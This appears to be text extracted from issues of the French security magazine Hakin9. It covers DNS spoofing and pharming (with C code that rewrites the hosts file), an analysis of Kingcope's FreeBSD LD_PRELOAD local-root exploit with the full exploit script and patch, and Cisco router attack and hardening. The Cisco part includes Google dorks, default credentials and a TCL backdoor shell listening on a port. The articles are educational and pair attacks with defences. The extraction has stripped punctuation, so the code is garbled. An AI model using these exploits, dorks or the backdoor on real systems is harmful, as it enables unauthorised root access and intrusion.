Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 11: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

Seacutecuriteacute CiSCO

hakin9orgfr 13

utiliseacute lIOS utilise massivement de la meacutemoire parta-geacutee accessible par tous les processeurs

La meacutemoire est subdiviseacutee en reacutegion aux fonctionne-ments diffeacuterents

bull Itext Code exeacutecutable du systegraveme dexploitation bull IData Variables initialiseacutees bull Local Structure de meacutemoire standard locale bull IBss Donneacutee non initialiseacutee bull Flash Stockage de limage de lOS bull PCI Meacutemoire visible sur le bus PCI bull IOMEM Meacutemoire partageacutee visible au CPU princi-

pal et aux interfaces de controcircle reacuteseau

approche offensiveDynamips est un outil open-source capable deacutemuler un routeur Cisco agrave partir dun veacuteritable IOS Lavantage dutiliser un outil deacutemulation et non de simulation est de reproduire le vrai fonctionnement dun routeur ou drsquoun commutateur Cisco (cf Lisitng 1)

Il est cependant agrave noter que Dynamips a des limita-tions car incapable deacutemuler des fonctionnaliteacutes comme le spanning tree ou le DTP (Dynamic Trunk Protocol)

ne mais uniquement des modules dacceacuteleacuteration hard-ware

De plus deacuteterminer les types de paquets consom-mateurs de ressources (TTL=0 paquets avec options hellip) permet de cibler les attaques de deacuteni de service et daugmenter leur efficaciteacute

architecture SoftwareLIOS Cisco est un systegraveme dexploitation monolithique cest-agrave-dire que lensemble des fonctions et des pilotes sont regroupeacutes dans un seul bloc binaire agrave la compi-lation Derniegraverement Cisco a proposeacute des IOS modu-laires mais la majoriteacute des OS Cisco restent monolithi-ques

Il existe environ 20000 versions de lIOS Cisco point important agrave savoir pour le travail sur lexploitation dune machine car les adresses de retour les fonctionnaliteacutes et le code diffegraverent dune version agrave lautre

Larchitecture du systegraveme dexploitation est tregraves sim-ple elle est composeacutee du Kernel du code des peacuteripheacute-riques dont le code responsable de la commutation ra-pide et finalement des processeurs

Aucun meacutecanisme de protection de la meacutemoire nest

Listing 1 Emulation dun routeur Cisco

dynamips-027-x86bin -t npe-400 -p 1PA-A1 -p 2PA-4E -p 3PA-8E c7200-jk9s-mz124-18cbin

Cisco Router Simulation Platform (version 027-x86)

Copyright (c) 2005-2007 Christophe Fillot

Build date May 26 2007 115128

IOS image file c7200-jk9s-mz124-18cbin

CPU0 carved JIT exec zone of 64 Mb into 2048 pages of 32 Kb

NVRAM is empty setting config register to 0x2142

C7200 instance default (id 0)

VM Status 0

RAM size 256 Mb

IOMEM size 0 Mb

NVRAM size 128 Kb

NPE model npe-400

Midplane vxr

IOS image c7200-jk9s-mz124-18cbin

Loading ELF file c7200-jk9s-mz124-18cbin

ELF entry point 0x80008000

C7200 default starting simulation (CPU0 PC=0xffffffffbfc00000) JIT enabled

ROMMON emulation microcode

Launching IOS image at 0x80008000

Self decompressing the image

[OK]

6201014

Pratique

Dynamips marche aussi bien sur Windows que sur Linux ou Unix il a besoin dune version de lIOS Cisco

Dynamips a eacuteteacute compleacuteteacute par dautres outils (Dyan-gen et GNS3) qui facilitent linterconnexion de plusieurs routeurs virtuels et permettent de simuler plus facile-ment tout un reacuteseau sur une seule machine

Leacutemulation dun routeur est un excellent moyen pour se familiariser avec la ligne de commande Cisco et les diffeacuterents services quils proposent

Pour des besoins de debugging et pour mieux com-prendre le fonctionnement des processeurs et du Ker-nel lIOS Cisco supporte le protocole GDB de debug-ging et ce agrave travers une connexion agrave linterface seacuterie GDB existe aussi sur TCP malheureusement Cisco ne le supporte pas

Limpleacutementation du protocole est leacutegegraverement diffeacute-rente de la version GNU Vous pouvez cependant utili-ser loutil BinNavi de Zynamics supportant diverses im-pleacutementations de GDB

Pour activer le protocole GDB utilisez la comman-de gdb kernel et lancez votre outil de debugging en seacuterie

Deacutecouverte et eacutenumeacuterationCette partie sinteacuteresse aux techniques de deacutecouverte et deacutenumeacuteration propre au monde des routeurs et du routage les techniques de deacutecouverte active avec des outils comme nmap sont assez connus et ont deacutejagrave eacuteteacute abordeacutees dans dautres articles

Larticle se focalisera sur le googleHacking sur leacutenu-meacuteration BGP et AS et sur lextraction dinformations agrave partir des protocoles de routage utiliseacutes

Googlehacking cette technique efficace pour collec-ter des informations et trouver des plates-formes vulneacute-rables sappuie sur une bonne connaissance des opeacute-rateurs Google (voir Table 1)

Le tableau est une liste reacuteduite des principaux opeacutera-teurs il est eacutegalement possible dutiliser des fonction-naliteacutes de recherches avanceacutees en manipulant lURI de google

Le grand inconveacutenient de cette technique est le nom-bre de fausses alertes il est donc important de sarmer

de patience et dessayer petit agrave petit dameacuteliorer leffica-citeacute des mots rechercheacutes

Le principe pour trouver des fichiers de configuration est assez simple rechercher des commandes utiliseacutes dans un fichier de configuration des extensions don-neacutees aux fichiers de configuration (cfg conf log txt) et des mots cleacutes en relation dans lURI (-cfg cisco conf )

Voici une liste non exhaustive des diffeacuterentes expres-sions que vous pouvez utiliser pour trouver des fichiers de configuration vous pouvez vous en inspirer pour trouver dautres expressions plus efficaces (cf Listing 2)

Cette technique tregraves simple permet aux script-kid-dies de trouver des cibles faciles Cependant la majo-riteacute des fichiers de configuration trouvables sur google restent inexploitables (utilisation dadressages priveacutes RFC1918 proteacutegeacutes par des pare-feux ou tregraves anciens et plus utiliseacutes)

Routage collecter des informations sur le routage dune organisation permet de mieux comprendre son in-frastructure reacuteseau ses points dinterconnexions et sa reacutesilience contre les attaques de deacuteni de service

Les informations sur le peering et le routage BGP sont facilement disponibles sur des sites comme rob-tex nous pouvons en deacuteduire les opeacuterateurs dune en-treprise les scopes IP alloueacutes et la distribution de trafic par lien

Les registres de routages et les looking glass sont aussi des sources preacutecieuses dinformations elles per-mettent de mener des tests de ping et traceroute afin de deacutetecter deacuteventuelles regravegles de filtrage et donnent une meilleure cartographie du reacuteseau

Des outils comme ASS et Polyphemus permettent de collecter des informations sur les protocoles internes de routage (OSPF RIP hellip) et didentifier les protocoles uti-liseacutes et le niveau de seacutecuriteacute appliqueacute (cf Listing 3)

exploitation et maintien daccegravesLa meacutethode la plus simple et la plus directe pour ex-ploiter nimporte quelle plate-forme consiste agrave trouver des services de gestion exemple du Telnet ou SSH

table 1 Liste opeacuterateurs Google

Opeacuterateur Description Exemplesite Appliquer la recherche sur le site indiqueacute

seulementURPF sitewwwciscocom

filetype Chercher les fichiers du type indiqueacute Google search cheat sheet filetypepdf

inurl LURL contient le mot rechercheacute laquoCisco confraquo inurlforum

related Lister les sites web similaires Relatedwwwsecurityfocuscom

intext Le site contient les mots rechercheacutes Intextlaquoenable password 7raquo

cache Acceacuteder agrave la version en cache sur les se-rveurs google

cachewwwsecurity-databasecom

intitle Chercher dans les titres des pages web intitleindexof ios parent directory bin

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

